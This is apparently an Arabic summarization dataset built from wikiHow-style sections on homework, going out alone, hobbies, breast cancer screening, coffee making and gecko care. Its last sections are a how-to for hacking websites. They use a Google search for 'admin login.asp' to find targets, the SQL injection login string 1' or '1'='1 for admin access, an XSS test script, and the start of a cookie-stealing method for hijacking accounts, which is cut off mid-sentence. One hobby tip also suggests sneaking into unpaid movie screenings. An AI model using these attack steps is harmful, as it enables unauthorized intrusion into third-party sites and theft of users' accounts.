الأيام التي ينبغي عليك تسليم واجباتك فيها فقم بتسليم الواجبات في اليوم الذي يسبقه حتى تتجنب إنقاص درجاتك.

english_section_name: Doing All of Your Homework

summary: استهدف حضور جميع الحصص والأيام الدراسية. كن مهذبًا وأظهر الاحترام داخل الفصل. ضع الهاتف المحمول جانبًا.

document: يتسبب عدم حضور بعض الحصص أو بعض الأيام الدراسية في تخلفك عما وصل إليه زملاؤك في المنهج ويفسد جدول مذاكرتك. كما أنك سترهق معلميك عندما تطلب منهم أن يجلسوا معك وقت الاستراحة ليشرحوا لك ما فاتك من دروس. لذلك اجتهد في حضور جميع دروسك و ولا تأخذ إجازة من المدرسة إلا إن كنت مريضًا جدًا. إن فاتتك حصة دراسية أو يوم دراسي لأي سبب من الأسباب فاحرص أن تستعير ملاحظات أحد زملائك واطلب من معلمك أن يمنحك فرصة لتقديم الواجبات أو المهام الدراسية التي فاتتك. لن يعيقك إحداث الفوضى داخل الفصل عن التركيز فحسب، بل سيشتت انتباه زملاءك أيضًا، لذلك يجب عليك  إظهار الاحترام لمعلمك وزملائك والتزام التصرفات الإيجابية داخل الفصل. كما أنك عندما تحسن التصرف ستجعل معلميك يهتمون بك ويفضلونك، الأمر الذي قد يساعدك على الوصول لهدفك بأن تصبح الأول على الفصل. قد يغويك النظر إلى هاتفك أثناء الحصص الدراسية، خاصةً إن تلقيت رسالة، لذلك يجب أن تضبط هاتفك على الوضع الصامت وتضعه بمكان ليس في متناول يديك حتى لا يغويك النظر فيه أثناء الحصص الدراسية. ولا يتعلق وجوب عدم استخدام الهاتف المحمول داخل الفصل بكونه منافيًا لاحترام المعلم فحسب، بل لأنه سيشتت ذهنك ويعيقك عن التركيز في الفصل.

english_section_name: Demonstrating Good Behavior


summary: اطرح خجلك جانبًا. تطوع والتق بالناس مع استغلال وقتك استغلالًا جيدًا. سجل في ناد أو اجتماع لذوي الاهتمامات المتشابهة. اخرج في نزهة واستكشف شيئًا جديدًا.

document: يخاف العديدون من الخروج وفعل الأشياء بمفردهم لأنهم يظنون أنهم سيتعرضون للنقد من الناس أو أنهم لن يستمتعوا بنفس القدر كما لو كانوا مع مجموعة، لكن في الحقيقة لا هذا صحيح ولا ذاك. إننا نميل للمبالغة في تقدير اهتمام الآخرين بما نفعله (قليل من يهتم أو يفكر في وحدتك) ونقلل من تقدير مدى استمتاعنا بنشاط إذا قمنا به وحدنا.   لا تدع وحدتك تمنعك من الخروج وتجربة الأشياء المختلفة. الأرجح أنك ستكون عند الخروج وفعل شيء ما أسعد من بقائك في البيت.   تذكر أن فعل ما توشك على فعله يتطلب بعض الشجاعة إذا لم يكن يسعك سوى القلق مما سيظنه حيالك الآخرون إذا رأوك وحدك. ستبدو أكثر ثقة بنفسك أكثر من أي شيء آخر إذا رآك الآخرون تستمتع بوقتك لوحدك وأنت مسترخ ولا تخفي وحدتك. لا تختبئ أو تتصرف بحرج إذا قابلت أشخاصًا من مدرستك وخفت مما سيظنونه. تصرف كما لو أن الأمر ليس هامًا، أجل لقد ذهبت لحضور فيلم لوحدك. الأرجح أنهم لن يتحلوا بالشجاعة الكافية لفعل ما تفعله لذا يجب أن يراودك شعور جيد حيال مغامرتك الفردية. شارك مدفوعًا بسبب يثير شغفك واستغل مهاراتك استغلالًا جيدًا. جرب المشاركة في الأنشطة الاجتماعية إذا كنت جيدًا في استخدام يديك. امض بعض الوقت في المأوى المحلي إذا كنت مذهلًا في التعامل مع الحيوانات وقم بتمشية الكلاب واللعب مع القطط الصغيرة. ابحث عن فرص الانضمام ليوم تنظيف الغابة أو الشاطئ إذا كنت مهتمًا بالبيئة. ستستمتع بوقتك وتنقذ العالم وتلتقي بأناس رائعين في نفس الوقت. .  تشمل الاحتمالات الأخرى التطوع في مطبخ حساء وزيارة الأطفال والمسنين في المستشفيات وإمضاء الوقت مع الأطفال في نوادي الفتيان والفتيان وتقديم الشروحات. اتصل بالكنيسة أو المسجد أو المنظمة السياسية المحلية لتعرف ما إذا كانت هناك أي فرص حالية للتطوع. ستعرف في الحال أن لديك شيئًا مشتركًا مع جميع الحضور. ابحث على الإنترنت عن اجتماعات مجانية في منطقتك –محبي الخيال العلمي أو مجموعات التنزه مشيًا على الأقدام أو محبي التصوير الفوتوغرافي أو الأطعمة- واحضر أيًا من مناسباتهم. ستفعل الأشياء التي تحبها وتكتسب بعض الأصدقاء في هذه العملية.   اعرف النوادي التي تتيحها مدرستك إذا كنت طالبًا. حتى أنه قد يكون هناك مجموعة لمن لا يحبون فعل شيء بمفردهم –مثل حضور فيلم في المنتزه أو زيارة مدينة الملاهي- ويمكنكم جميعًا الذهاب في مجموعة كبيرة. ضع قائمة تشغيل بأغانيك المفضلة واختر مدينة قريبة أو منتزهًا أو أحد معالم الجذب التي تبدو غريبة أو مثيرة للاهتمام (أكبر عجلة هامستر في العالم ربما؟) وخذ الطريق. يمكنك الغناء بأعلى صوت تريده والتوقف متى شعرت بأنك تريد ذلك، ليس عليك أن تقلق من برامج أي شخص آخر (أو رغبته في التبول). يمكن أن تكون النزهة كلها لك.   تعد القيادة الطويلة للبعض طريقة جيدة لتصفية الذهن وتخفيف الضغط. إنها تمنحك وقتًا للتفكير وإعادة شحن طاقتك وتخرجك من المنزل في الوقت ذاته.   اعرف ما إذا كانت أمك أو أبوك أو أحد أشقائك أو أقاربك الأكبر سنًا يرغب خوض المغامرة معك إذا لم تكن كبيرًا بما يكفي لتذهب لمدينة أخرى بمفردك.

english_section_name: Getting Out There

summary: لعب ألعاب الفيديو أو الحاسوب. جرب دخول المطبخ وتعلم الطهي. افعل شيئًا مبتكرًا. دلل نفسك بمشاهدة فيلم.

document: ابحث عن ألعاب مجانية على الإنترنت إذا لم تكن تحب إنفاق المال. عدا عن ذلك جرب الألعاب متعددة اللاعبين على الإنترنت لتكتسب الأصدقاء أثناء اللعب. هناك عشرات الألعاب المختلفة والعديد منها يحتوي ألغازًا وقصصًا مقنعة يمكن أن تشغلك لساعات.  تذكر ألا تشارك الكثير من المعلومات عن نفسك أو الآخرين مع أي شخص تلتقيه على الإنترنت. اعلم أن الناس قد يستغلون المعلومات ضدك. يمكن أن يكون الطهي متعة حقيقية خاصة حين يكون لديك قائمة تشغيل بألحانك المفضلة ووفرة من المكونات الطازجة اللذيذة. ابحث على الإنترنت أو شاهد أحد برامج الطهي لتجد وصفة تلهمك ثم ضع قائمة تسوق وابدأ العمل. ما من شيء يضغط عليك لتكون النتيجة رائعة ففي النهاية لن تعد حفل عشاء أو تنتظر نقد طباخ مشهور. أفضل جزء هو أنك ستأكل النتائج حين تنتهي.  سيتطلب الخبز والطهي منك عادة استخدام السكاكين والفرن أو الموقد. احرص أن يوافق والداك على استخدامك لهذه الأشياء أو اطلب منهم أن يساعدوك على إعداد الطبق. جرب الرسم أو التصوير أو كتابة الشعر أو صناعة الفخار أو كتب القصاصات أو أي شيء يخرج إبداعاتك. ليس عليك أن تقلق بشأن نقد أحدهم لمهاراتك لذا لك حرية التعبير الكاملة.  أدخل أعمالك الفنية في مسابقة. يمكن أن تربح النقود أو تقابل فنانين آخرين أو تفاجئ أقرانك بمهاراتك. عادة ما يذهب الناس لمشاهدة الأفلام في مجموعات إلا أنها ليست نشاطًا اجتماعيًا للغاية إذ ما من سبب يدفعك للتحدث أو التفاعل مع أي شخص بينما تركز مع الشاشة. سرعان ما ستنسى أنك وحدك وستستمتع غالبًا بنفس قدر استمتاعك إذا ذهبت مع مجموعة.  جرب ماراثون السينما، أي ابتع تذكرة صباحية ثم تسلل إلى الفيلم الثاني وربما الثالث. احرص فقط ألا يتم ضبطك.

english_section_name: Trying New Hobbies

summary: احضر صفًا عن شيء يثير اهتمامك. ابدأ التدوين عن مادة تثير اهتمامك. اذهب للمتحف. اسحب كتابًا غير مقروء عن رفك أو أعد قراءة كتابك المفضل.

document: يمكنك فعل هذا على الإنترنت أو التسجيل في الكلية المحلية أو تفقد الدورات المفتوحة لMIT لتحميل المحاضرات مجانًا.  قد تجد أن إحدى المواد مثيرة للاهتمام بشدة لدرجة أن ترغب في اتخاذها كمهنة.   احضر صفًا في البرمجة وابتكر تطبيقك الخاص للهواتف الذكية. يمكن أن ينتهي الأمر بتصميم لعبة تحقق نجاحًا هائلًا. ابحث عن الملفات الصوتية لموادك المفضلة لترى ما يمكنك تعلمه أيضًا إذا لم تكن مستعدًا لصف كامل. هل أنت مهووس بالأفلام؟ ابدأ مدونة تشارك فيها أفكارك عن أفلامك المفضلة وتكتب تقييماتك وتتفاعل مع محبي الأفلام الآخرين على الإنترنت. ابدأ مدونة صور تظهر أفضل أعمالك إذا كنت مهتمًا بالتصوير الفوتوغرافي. يعد التدوين قناة رائعة لتوجيه شغفك وطريقة للقاء أشخاص يشاركونك اهتماماتك.   اعرض أزياءك لكل يوم وما الجديد في صيحات الموضة وعلاماتك التجارية المفضلة إذا كنت مدمنًا على الموضة. قل رأيك في فرقك الرياضية المفضلة وأدائها هذا الموسم أو حلل الصفقات والاختيارات أو أشعل الأمور بمنشور شغوف عن سبب كون فريقك أعظم الفرق. يعني ذهابك للمتحف وحدك أنك تستطيع إمضاء أكبر وقت ترغبه أمام كل من المعروضات. لن يكون عليك القلق بشأن استعجال الجميع لك إذا أردت التحديق في لوحة لعشرين دقيقة. يمكنك التنقل في المتحف بالسرعة أو البطء الذي ترغبه.   جرب الذهاب إلى المتحف في يوم إجازة. ابتع عضوية حتى تتمكن من التجول في المتحف كله على مدى عدة زيارات. بالإضافة لذلك قد تحصل على مزيات خاصة بصفتك عضوًا وتدعى إلى المحاضرات أو عرض المعروضات الجديدة. لا تقلل من شأن المتعة التي قد تحصل عليها من قراءة كتاب جيد. يمكنك تعلم شيء جديد من كتاب غير روائي أو الانتقال لعالم آخر مع بعض الخيال الرائع.  زر المكتبة لتتفقد الكتب بالمجان وترى ما إذا كانت هناك أي مجموعات قراءة أو نوادي كتب، كما أنها مكان رائع لتفقد المحاضرات والمناسبات.

english_section_name: Improving your Mind

summary: جرب  الباركور. اذهب للتنزه مشيًا على الأقدام. جرب حضور صف لياقة قد يكون محرجًا. دلل نفسك بيوم سبا.

document: الباركور هو طريقة ممتعة لجعل العالم يغدو طريق عقباتك، حاول إيجاد أسرع مسار من النقطة أ إلى النقطة ب.  قد يتطلب منك هذا القفز والتسلق والهبوط وسيحسن توازنك ويعلمك اتخاذ القرارات السريعة.  ابدأ ببطء حتى لا تؤذي نفسك وتعلم بعض الحركات الأساسية قبل الانطلاق.  ابدأ من الباحة الخلفية أو بيئة أخرى معشبة وسهلة. يقوي الخروج من البيت جهازك المناعي ويحفزك لعيش نمط حياة صحي ويشجع اتخاذك حالة استباقية إيجابية.  يمكن لإمضاء الوقت في الطبيعة أن يشعرك بالسلام ويضع الأشياء في نصابها الصحيح. سيذكرك المشي الطويل بامتداد جبل فاتن بجمال العالم ويساعدك على إدراك أنه لا بأس بأن تكون وحدك.  احرص على إعلام أحدهم بوجهتك ووقت عودتك، فبهذه الطريقة سيعلم والداك أين يبحثان عنك إذا أصبت في نزهتك. صفوف الرقص والزومبا والخطو جميعها ممتعة لدرجة جنونية لكنها أيضًا قد تكون محرجة بعض الشيء بينما تحاول التمرن على الخطوات واتباع المدرب. لن تشعر بالحرج التام إذا كنت محاطًا بمجموعة من الغرباء الذين يحاولون القيام بالأمر نفسه جميعًا ويمكنك التركيز فقط على الاستمتاع والرقص من أعماق قلبك.   اليوجا تمرين منفرد رائع آخر. يمكنك التركيز على حركاتك حقًا وبالإضافة لذلك إذا ذهبت إلى أحد الصفوف فإن هناك احتمالًا قويًا أن يكون جميع الحضورهناك بمفردهم أيضًا.   ابحث عن بعض فيديوهات الملاكمة أو الزومبا أو غيرها من التمارين الممتعة التي يمكنك أداؤها في غرفة معيشتك إذا لم تكن تحب التواجد في الصالة الرياضية. ضعي لنفسك قناعًا للوجه واطلي أظافر يديك وقدميك وارتشفي بعض  ماء الخيار البارد. جربي بعض شروحات المكياج الجديدة واكتشفي كيف يمكنك رسم عيون قططية مثالية. اسمحي لنفسك بقسط من الرفاهية والاسترخاء واشعري بأنك ملكة لبعض الوقت.  اسألي والدتك عما إذا كانت تود تجربة البذخ معك، ربما تتلقيان تدليكًا أو جلسة باديكير ومناكير معًا.

english_section_name: Taking Care of Your Body


summary: استوعبي أهمية العوامل التي تزيد من احتمالية خطورة المرض. ضعي في اعتبارك القابلية الوراثية للإصابة بالسرطان. افهمي تأثير تاريخك الطبي. اعرفي كيف يؤثر نمط حياتك على مدى الخطورة.

document: كشف سرطان الثدي في مرحلة مبكرة هو أمر شديد الأهمية. إذا كان لديكِ أيًا من عوامل الخطر، تأكدي أن تقومي بعمل فحص ذاتي بانتظام. قومي بعمل تصوير شعاعي للثدي إذا شعرتِ بأي تكتُّلات أو كان لديكِ عوامل الخطورة وكنتِ فوق سن الأربعين. النساء أكثر قابلية للإصابة بسرطان الثدي من الرجال. بالإضافة إلى ذلك، إذا كان لديكِ أقارب من الدرجة الأولى (مثل أمك أو أختك) مصابات بسرطان الثدي، فهناك احتمالية أكبر أن تصابي به. كما أن هناك طفرات جينية وراثية تجعل الشخص أكثر عرضة للإصابة بسرطان الثدي. الطفرات الجينية هي BRCA1 وBRCA2. من 5 إلى 10% من حالات الإصابة بسرطان الثدي تكون نتيجة لطفرات وراثية.  خطورة الإصابة بسرطان الثدي لدى السيدات البيضاوات هي الأعلى.  بعض المجموعات العرقية أكثر عرضة لطفرات BRCA الجينية. من هذه العروق: شعوب النرويج وأيسلندا وهولندا وسلالة يهود أشكناز. هناك بعض العوامل في التاريخ المَرَضي التي يمكن أن تزيد من مدى خطورة الإصابة بسرطان الثدي. السيدات اللاتي أُصِبن بالسرطان في ثدي واحد فقط هُنّ أكثر عرضة للإصابة به مرة أخرى. كذلك الأشخاص الذين خضع صدرهم للإشعاع في طفولتهم لديهم خطورة أكبر للإصابة بسرطان الثدي. كما أن هناك معطيات صحية أو طبية أخرى يمكن أن تزيد من عامل الخطورة، مثل أن تكون أول دورة شهرية لكِ وأنت في الحادية عشرة من عمرك. كذلك تأخر انقطاع الطمث عن المعدل الطبيعي يعتبر مؤشر خطر. أخذ علاج هرموني بعد انقطاع الطمث يزيد الخطر، وكذلك عدم حدوث حمل طوال حياتِك يُعتبر عامل خطر. الأشخاص السمينون أكثر عرضة للإصابة بسرطان الثدي. كذلك السيدات اللاتي يشربن مشروبات كحولية ثلاث مرات أسبوعيًا تزيد احتمالية إصابتهن بسرطان الثدي بنسبة 50%. المدخنون، خاصةً السيدات اللاتي بدأن تدخين قبل ميلاد أول أطفالهن، لديهن نسبة خطورة أعلى للإصابة بسرطان الثدي.

english_section_name: Understanding Risk Factors

summary: زوري طبيب أمراض النساء بانتظام. قومي بعمل تصوير الثدي الشعاعي بانتظام. كوني منتبهة وسريعة عند بحثك عن المساعدة. اجعلي الوقاية عملًا جماعيًا.

document: أثناء فحصك السنوي عند طبيب/ة النساء، ستتفحص الطبيبة ثديك للكشف عن أي كتل أو تغيرات غير طبيعية. إذا وجدت شيئًا غير طبيعي، ربما توصي بأن تقومي بعمل تصوير شعاعي للثدي.  إذا لم يكن لديكِ تأمينًا صحيًا أو موارد مالية تمكنّك من زيارة الطبيب، فعلى الأرجح ستجدين وسائل في منطقتك تساعد على الرعاية الوقائية. فروع الجمعية الدولية لتنظيم الأسرة غالبًا تقدم خدمات استشارية، ويمكن أن تدلك على مزود تصوير شعاعي.  إذا لم تعرفي أين يمكنك البحث عن مساعدة، اتصلي بوزارة الصحة في بلدك أو اتصلي بخط المساعدة الخاص بمكافحة السرطان على 131120. يمكنهم أن يدلوكِ على المساعدة المناسبة لحالتك. يمكن أن يكون لكِ الحق في الحصول على فحص شعاعي مجاني أو غير مكلف. راجعي التأمين الصحي أو المستشفيات الحكومية والخيرية لتعرفي إن كانت توفر علاجًا مدعمًا. مجرد أن تصل المرأة لسن الأربعين، يجب عليها أن تقوم بعمل فحص شعاعي للثدي كل سنتين حتى تصل لسن 74. كلما كان الكشف عن سرطان الثدي في مرحلة مبكرة، كان التعافي منه أسهل. يمكن أن تكوني قد سمعتي أن فحص الثدي الشعاعي مؤلمًا، لكن الألم لحظي وليس أسوأ من أخذ حقنة. كما أنه يمكن أن ينقذ حياتك. إذا كنتِ معرضة لخطورة الإصابة بسرطان الثدي بدرجة كبيرة، اسألي طبيبتك عن المدة التي يفترض أن تكون بين الفحص الشعاعي للثدي والفحص التالي. إذا كنت معرضة لخطورة الإصابة بدرجة كبيرة وكنتِ أقل من 40 سنة، يُرجّح أن طبيبتك ستطلب عمل تصوير شعاعي للثدي. الانتباه ومعرفة صدرك بشكل جيد هو أفضل ما يمكنكِ فعله للكشف عن أعراض سرطان الثدي. إذا كانت لديكِ أي مخاوف بسبب الفحص الذاتي لثدييكِ، اذهبي للطبيب على الفور. حافظي على صحة أسرتك وصديقاتك من خلال تنظيم حفل سنوي يُتوّج بأن يقوم الجميع بعمل تصوير ثدي شعاعي سويًا. بهذه الطريقة يمكن أن تصبح التجربة غير مخيفة وتساعدي الجميع على التذكُّر. فكري أن تقولي: "أعرف أن كثير من النساء لا يقمن بعمل تصوير ثدي شعاعي لأنه مخيف ومؤلم إلى حد ما، لكنني سأحب أن نعثر على طريقة تجعله مسليًا. بالإضافة إلى أننا سنحظى بوقت بناتي لطيف سويًا!"

english_section_name: Preventing Breast Cancer

summary: حددي مواعيد الفحص الذاتي للثدي. قومي بفحص بالنظر. ارفعي ذراعيكِ وكرري الفحص بالنظر المشروح أعلاه. المسي صدرك. كوني مدركة للشك الناتج عن هذه الفحوص.

document: ضعي علامة على التقويم عند الأيام التي ستقومين فيها بعمل فحص ذاتي للثدي. حددي هدفًا بعمل فحص ذاتي للثدي مرة شهريًا، يُفضّل أن يكون بعد انتهاء دورتك الشهرية بخمس إلى سبع أيام. عمل فحص ذاتي لثدييكِ بانتظام سيساعدك على معرفة القوام "الطبيعي" لصدرك. علقي في الحمّام أو في غرفة النوم جدولًا يُذكرك بمواعيد الفحص الذاتي حتى لا تنسي. كذلك ضعي في اعتبارك أن تخصصي نوتة لتدوين ملاحظاتك عن النتائج التي تلاحظينها.  خططي لعمل الفحص الذاتي لثديك في غرفة إضاءتها جيدة. قفي ويديكِ على فخذيكِ وانظري في المرآة. انظري لتري ما إن كان ثدييكِ بحجمهما ولونهما وشكلهما الطبيعي. إذا كان لديكِ أيًا من الأعراض التالية، أخبري الطبيب:  انتفاخ ملحوظ مع أنك لستِ في موعد طمثك. ظهور نتوء أو تشقق أو تورُّم في الجلد. دخول الحلمات للداخل. تغيُّر مكان الحلمات. احمرار أو طفح أو ليونة. ابحثي عن إفرازات من حلمتيكِ. إذا كان هناك إفرازات، افحصي لونها (صفراء أو شفافة) و كثافتها (كالدم أو كالحليب). انتبهي لإفرازات الحلمات التي تحدث دون أن تضغطي على الحلمة. كذلك قومي بإخبار الطبيب إذا كان لديكِ إفرازات شفافة أو دموية أو إفرازات من ثدي واحد فقط. استلقي. ضمي أصابع السبابة والوسطى والبنصر في يدك اليمنى. تحسسي ثديك الأيسر بباطن الأصابع الثلاثة بحركات دائرية صغيرة متساوية. يجب أن يكون محيط الدوائر بمقدار 2 سم. تحسسي صدرك بدءًا من عند عظمة الترقوة ونزولًا إلى بطنك. بعد ذلك ابدأي من عند منطقة إبطك، تحركي من الجانب للوسط. كرري العملية بيدك الأخرى للثدي في الجهة المعاكسة. لتتأكدي من أنك تحسستِ المنطقة كلها، استعملي نمطًا بخطوط أفقية. بعدها قفي أو اجلسي وكرري نفس الخطوات. افحصي صدرك كله مرة أخرى، بعض السيدات يفضلن عمل هذه الخطوة الأخيرة تحت الدُّش.  تحسسي لتري ما إن كان هناك أي كُتَل أو تغيُّرات. يجب عليكِ أن تخبري طبيبك بأي كُتل محسوسة. يجب أن تتفحصي صدرك كله بضغطات دائرية الحركة خفيفة ومتوسطة وقوية. بصياغة أخرى، قومي بعمل دائرة بضغط خفيف ثم كرري نفس الدائرة بضغط متوسط وبضغط أقوى. ستكونين بحاجة لعمل ضغطات خفيفة لتلاحظي النسيج الأقرب لسطح الجلد. الضغط المتوسط يتيح لكِ أن تتحسسي طبقات أعمق والضغط الأقوى يتيح لكِ الوصول للنسيج العميق القريب لضلوعك. أظهرت بعض الدراسات عدم زيادة نسبة الكشف عن السرطان من الفحوصات الذاتية، بل زيادة القلق وزيادة إجراء فحوصات الأنسجة فحسب. تحدثي مع طبيبتك عن الفحص الذاتي لسرطان الثدي؛ قد تقترح ببساطة أن تتعرفي على صدرك أكثر بحيث يكون بإمكانك التعرُّف على التغيُّرات غير المألوفة.

english_section_name: Performing a Breast Self-Exam


summary: اتركها لتغلي لمدة دقيقتين.

document: ابدأ الموقت بعد وصول الماء للغليان الكامل. اترك القهوة لتغلي لمدة دقيقتين كاملتين ودون غطاء قبل أن تزيل القدر من على النار.  بمجرد غلق الحرارة، ستترسب القهوة المطحونة في قاع القدر.

english_section_name: Using a Saucepan

summary: اترك القهوة لتمتزج.

document: اترك القهوة لتمتزج لمدة 3 دقائق. قلب جيدًا، ثم اتركها لمدة 3 دقائق إضافية.  مقدار الوقت يمكن أن يختلف حسب نوع القهوة التي تستخدمها ومدى القوة التي ترغب فيها. هذا القدر من الوقت ينتج كوب متوسط باستخدام جودة القهوة العادية.

english_section_name: Using a Strainer

summary: سخن الماء. صارت القهوة جاهزة الآن.

document: دون صانع قهوة، يمكنك غلي الماء في الغلاية أو القدر أو الوعاء الكهربائي أو الميكروويف.   لغلي الماء في غلاية أو قدر، املأ الوعاء بكمية كافية من الماء وضعه على النار على حرارة متوسطة إلى مرتفعة وأزله بمجرد بدء الماء في الغليان. لتسخين الماء في الميكروويف، ضع الماء في كوب غير معدني آمن للميكروويف مع وضع عصيان طعام خشبية داخل الكوب. سخن الماء ببطء على فترات من 1-2 دقائق حتى يصل إلى درجة الحرارة الكافية حتى يبدأ الماء في الغليان. أو، املأ الوعاء الكهربائي بكمية كافية من الماء وشغله. أدر المفتاح لدرجة بين المتوسطة إلى المرتفعة وانتظر حتى غليان الماء.

english_section_name: Using Instant Coffee

summary: سخن الماء. التشرب.

document: استخدام غلاية للتسخين أو ميكروويف أو قدر التسخين الكهربائي.   إذا كنت تسخن الماء في غلاية أو قدر، ضع ما يكفي من الماء واتركه ليغلي على الموقد على درجة حرارة متوسطة إلى مرتفعة. لتسخين الماء في الميكروويف، ضع الماء في كوب غير معدني آمن للميكروويف مع وضع عصيان طعام خشبية داخل الكوب. سخن الماء ببطء على فترات من 1-2 دقائق حتى تصل إلى درجة الحرارة المرغوبة. املأ الوعاء الكهربائي بكمية كافية من الماء وشغله. أدر المفتاح لدرجة بين المتوسطة إلى المرتفعة وانتظر حتى غليان الماء. اترك القهوة لتتشرب لمدة 3 إلى 4 دقائق.   إذا كنت ترغب في قهوة أقوى، اتركها لتتشرب لمدة 4 إلى 5 دقائق. لقهوة أضعف، اتركها 2 إلى 3 دقائق. لا حاجة للتقلب خلال ذلك الوقت.

english_section_name: Using a Filter


summary: تفقد درجة حرارة قفص الوزغ.

document: يمكن أن تؤثر البيئة التي توفرها للوزغ في شهيته، فيمكن ألّا يأكل إذا كانت درجة الحرارة أبرد أو أعلى مما يجب. حاول إعادة ضبط درجة الحرارة في بيت الوزغ.  الوزغ من ذوات الدم البارد - أي أنه لا يمكنه تنظيم حرارة جسمه داخليًا - لذا سيكون عليك توفير مناطق حارة وباردة في بيته للحفاظ على صحته وليستمر بتناول الطعام يجب أن تتراوح درجة حرارة أسخن بقعة في قفص الوزغ بين 32-34ْ م. يحتاج الوزغ للتبريد أيضًا لذا وفر منطقة في بيته تبلغ حرارتها 23,3ْ م تقريبًا. من الطبيعي أن تضعف شهية الوزغ خلال شهور الشتاء حيث تهبط درجات الحرارة.

english_section_name: Fixing Problems With Your Gecko's Cage

summary: ابحث عن علامات المرض. أطعم الوزغ بيدك. حدد موعدًا مع الطبيب البيطري.

document: ربما كان امتناع الوزغ عن الأكل راجعًا لمرضه أو تعرضه للإصابة. يجب أن تأخذ الوزغ إلى الطبيب البيطري ليفحصه إذا ارتبت في مرضه. افحصه بحرص بحثًا عن أي من العلامات التالية:  يكن تمييز التهاب الجلد من خلال منطقة حمراء أو متورمة أو تفرز الصديد. يمكن تمييز المشاكل التنفسية بانسداد فتحات الأنف أو صعوبة التنفس أو صدور أصوات غريبة أثناء التنفس. قد ينتج هذا عن الغبار أو الرطوبة العالية. تسبب أمراض العظام الأيضية (الناتجة عن نقص الكالسيوم وفيتامين د3) ضعف أرجل الوزغ وفكه أو عجزه عن الوقوف، كما قد تسبب تورم البطن لأنها تنتفخ نتيجة العجز عن قضاء التبرز. قد تصبح عيون الوزغ معتمة إذا كان مريضًا أو مصابًا بالتهاب. قد تتمكن من إطعام الوزغ بيدك إذا كان يرتاح لحملك إياه. هناك بضع طرق لإعداد الطعام قد تنجح أكثر من غيرها وستحتاج لبعض التجارب حتى تعرف أكثر الطرق التي يحبها الوزغ الذي تربيه.  يمكن وضع نكتار الفواكه على عود قطني ثم يوضع العود قرب فم الوزغ. سيبدأ بلعقه والتغذي على النكتار الموجود على العود القطني إذا راق له. يمكنك حمل الوزغ بإحدى يديك وفريسته باليد الأخرى. قدم الفريسة للوزغ بحملها أمام فمه. قد تثير اهتمامه ويبدأ بالأكل. قد تحتاج لطحن الفريسة قبل تقديمها للوزغ إذا لم يكن يأخذ الفرائس الحية عن يدك، ثم تفرك برفق على شفاه الوزغ بعد تكسيرها لتحفيزه على الأكل. لاتجبر الوزغ على الأكل. قد يصعب تشخيص أي مشكلة طبية بمفردك. يجب أن تأخذ الوزغ إلى الطبيب البيطري إذا لاحظت امتناعه عن الأكل ليفحصه كما يجب. سيتمكن الطبيب البيطري من تشخيصه بدقة وسيعمل معك على استعادة شهية الوزغ وصحته.  قد تحتاج لأخذ عينة براز حديثة. افصل الوزغ الذي ترتاب في مرضه عن البقية لتمنع انتقال الأمراض المحتملة إلى الوزغ الصحيح.

english_section_name: Addressing Your Gecko's Health


summary: ابحث عن موقع تعتقد أنه مصاب بثغرات. قم بتسجيل الدخول كمدير. كن صبورًا. ادخل إلى الموقع.

document: يجب أن تجد موقع يمكنك اختراقه اعتمادًا على الثغرات الموجودة فيه، بسبب وجود ميزة تسجيل الدخول كمدير يجعل الوصول لصلاحياته أمرًا سهلًا. ابحث في غوغل عن العبارة التالية admin login.asp. اكتب admin في حقل اسم المستخدم، أما كلمة المرور فاجعلها مكوّنة من رقم واحد وكرره داخل سلسلة محرفية اختياريّة. المثال الشائع على ذلك هو 1’ أو ’1’='1. من الممكن أن يتطلب الأمر القليل من التجريب والخطأ. أخيرًا، يحب عليك أن تكون قادرًا على إيجاد السلسلة المحرفية التي تسمح لك بالدخول إلى الموقع بصلاحيات المدير، باعتبار أن الموقع يتمتع بثغرات من أجل اختراقه.

english_section_name: Executing Injection Attacks

summary: تعلم لغة برمجة أو لغتين. تعلّم أساسيات HTML. خذ بمشورة خبراء الأمن المعلوماتي. ابحث كثيرًا عن الاختراق. ابق على تواصل مع المستجدات.

document: في حال أردت أن تتعلم اختراق المواقع بالطريقة الصحيحة، يجب عليك عندها أن تفهم كيف تعمل أجهزة الكومبيوتر وغيرها من التقنيّات. تعلم استخدام لغات برمجة مثل SQL أو بايثون لتتمكن من الحصول على تحكم أفضل بالمواقع التي تستهدفها بالإضافة لمعرفة الثغرات بالأنظمة. ستحتاج أن تفهم جيّدًا HTML وJavaScript في حال رغبت في اختراق المواقع بشكل خاص. من الممكن أن يأخذ ذلك الكثير من وقتك لتتعلمه، إلا أنه يوجد الكثير من الطرق المجّانية لتتعلم على الإنترنت، لذا لديك الفرصة إذا كنت تريد حقًّا استغلالها. هؤلاء مخترقون يستخدمون معرفتهم من أجل الخير، كاشفين عن ثغرات الحماية وجاعلين الانترنت مكان أفضل لجميع الناس. في حال كنت تريد أن تتعلم الاختراق من أجل القيام بأهداف نبيلة أو من أجل حماية موقعك الخاص، يجب إذًا عليك أن تتواصل مع مواقع الأمن المعلوماتي الموجودة حاليًا على شبكة الانترنت من أجل الحصول على نصائح. إذا كنت تريد أن تتعلم كيفية الاختراق أو تريد فقط حماية نفسك، عليك القيام بالكثير من البحث. يوجد الكثير من الطرق التي يمكن أن تجعل المواقع عرضة للاختراق، وهذه القائمة بتغيير مستمر، لذا عليك أن تتعلم باستمرار. بما أن قائمة الاختراقات المحتملة هي في تغير مستمر، عليك أن تتأكد من أنك متابع لكل المستجدات أول بأوّل. لأنك محميّ من نوع معيّن من الهجمات هذا لا يعني أنك ستكون بأمان في المستقبل

english_section_name: Setting Up for Success

summary: ابحث عن موقع تعتقد أن فيه ثغرات ويمكنك أن تكتب فيه منشورات. اذهب إلى خيار إنشاء منشور جديد. اصنع وارفع الكود المساعد في الحصول على الكوكيز. انشر الكود المساعد في الحصول على الكوكيز. استخدم الكوكيز التي جمعتها.

document: مواقع تبادل الآراء بالمنشورات هي أفضل مثال. تذكر أنه لو كان هذا الموقع محميّ جيّدًا، فلن تعمل هذه الطريقة. ستحتاج لكتابة بعض الأكواد الخاصة (الشيفرات البرمجية) في منشورك هذا، مما سيسمح لك بالحصول على معلومات كل شخص يضغط عليه. يجب أن تختبر فيما إذا كان الموقع يقوم بتصفية المنشورات المحتوية على أكواد برمجية. اكتب <script>window.alert(“test”)</script> في حال ظهرت لك رسالة تحذيرية عندما تضغط على نشر، فالموقع يمكن اختراقه بهذه الطريقة. الهدف من إجراء هذا الهجوم هو الحصول على الكوكيز الخاصة بالمستخدم (أي سجل نشاطاته على الانترنت) مما يخولك بالوصول إلى حسابه الخاص بالموقع الذي يعاني من ثغرات تسجيل الدخول. ستحتاج إلى برنامج الحصول على الكوكيز، الذي سيقوم بجلب الكوكيز الخاصة بالضحية ثم تغيير وجهتها لتصل 